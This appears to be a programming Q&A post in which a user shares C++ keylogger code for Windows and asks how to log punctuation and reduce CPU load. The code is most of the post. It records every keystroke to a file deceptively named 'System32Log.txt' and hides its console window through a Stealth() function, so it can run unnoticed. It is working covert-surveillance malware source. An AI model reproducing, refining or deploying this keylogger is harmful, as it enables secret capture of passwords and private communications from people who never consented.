title: Making a Keylogger
body: <p>I wanted to make a small keylogger on my own pc to see how keystrokes work with C++. I've found some code online and just edited it up a bit though I'm not sure how to do what I want to do.</p>
  
  <pre><code>#include "stdafx.h"
  #include &lt;iostream&gt;
  #include &lt;windows.h&gt;
  #include &lt;winuser.h&gt;   
  
  using namespace std;  
  int Save (int key_stroke, char *file);
  void Stealth();
  
  int main() 
  {
      Stealth(); 
  char i;
  while (1)
  {
      for(i = 8; i &lt;= 190; i++)
      {
          if (GetAsyncKeyState(i) == -32767)
              Save (i,"System32Log.txt");
      }
  }
  system ("PAUSE");
  return 0;
  }
  int Save (int key_stroke, char *file)
  {
  if ( (key_stroke == 1) || (key_stroke == 2) )
      return 0;
  
  FILE *OUTPUT_FILE;
  OUTPUT_FILE = fopen(file, "a+");
  
  cout &lt;&lt; key_stroke &lt;&lt; endl;
  
      if (key_stroke == 8)
      fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
      else if (key_stroke == 13)
      fprintf(OUTPUT_FILE, "%s", "\n"); 
      else if (key_stroke == 32)
      fprintf(OUTPUT_FILE, "%s", " ");
      else if (key_stroke == VK_TAB)              
      fprintf(OUTPUT_FILE, "%s", "[TAB]");
          else if (key_stroke == VK_SHIFT)
      fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
          else if (key_stroke == VK_CONTROL)
      fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
              else if (key_stroke == VK_ESCAPE)
      fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
              else if (key_stroke == VK_END)
      fprintf(OUTPUT_FILE, "%s", "[END]");
                  else if (key_stroke == VK_HOME)
      fprintf(OUTPUT_FILE, "%s", "[HOME]");
                  else if (key_stroke == VK_LEFT)
      fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                      else if (key_stroke == VK_UP)
      fprintf(OUTPUT_FILE, "%s", "[UP]");
                      else if (key_stroke == VK_RIGHT)
      fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                          else if (key_stroke == VK_DOWN)
      fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                          else if (key_stroke == 190 || key_stroke == 110)
      fprintf(OUTPUT_FILE, "%s", ".");
                          else
      fprintf(OUTPUT_FILE, "%s", &amp;key_stroke);
  fclose (OUTPUT_FILE);
  return 0;
  }
  void Stealth()
  {
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
  }
  </code></pre>
  
  <p>I want to fix it up to properly store stuff like "." "," or more, but I'm not sure since I'm not familiar with the key strokes. Also I would like to add something that would make it use up less CPU (currently 25% on my i5), I should probably use Sleep(value), though I'm not sure which value to go for.</p>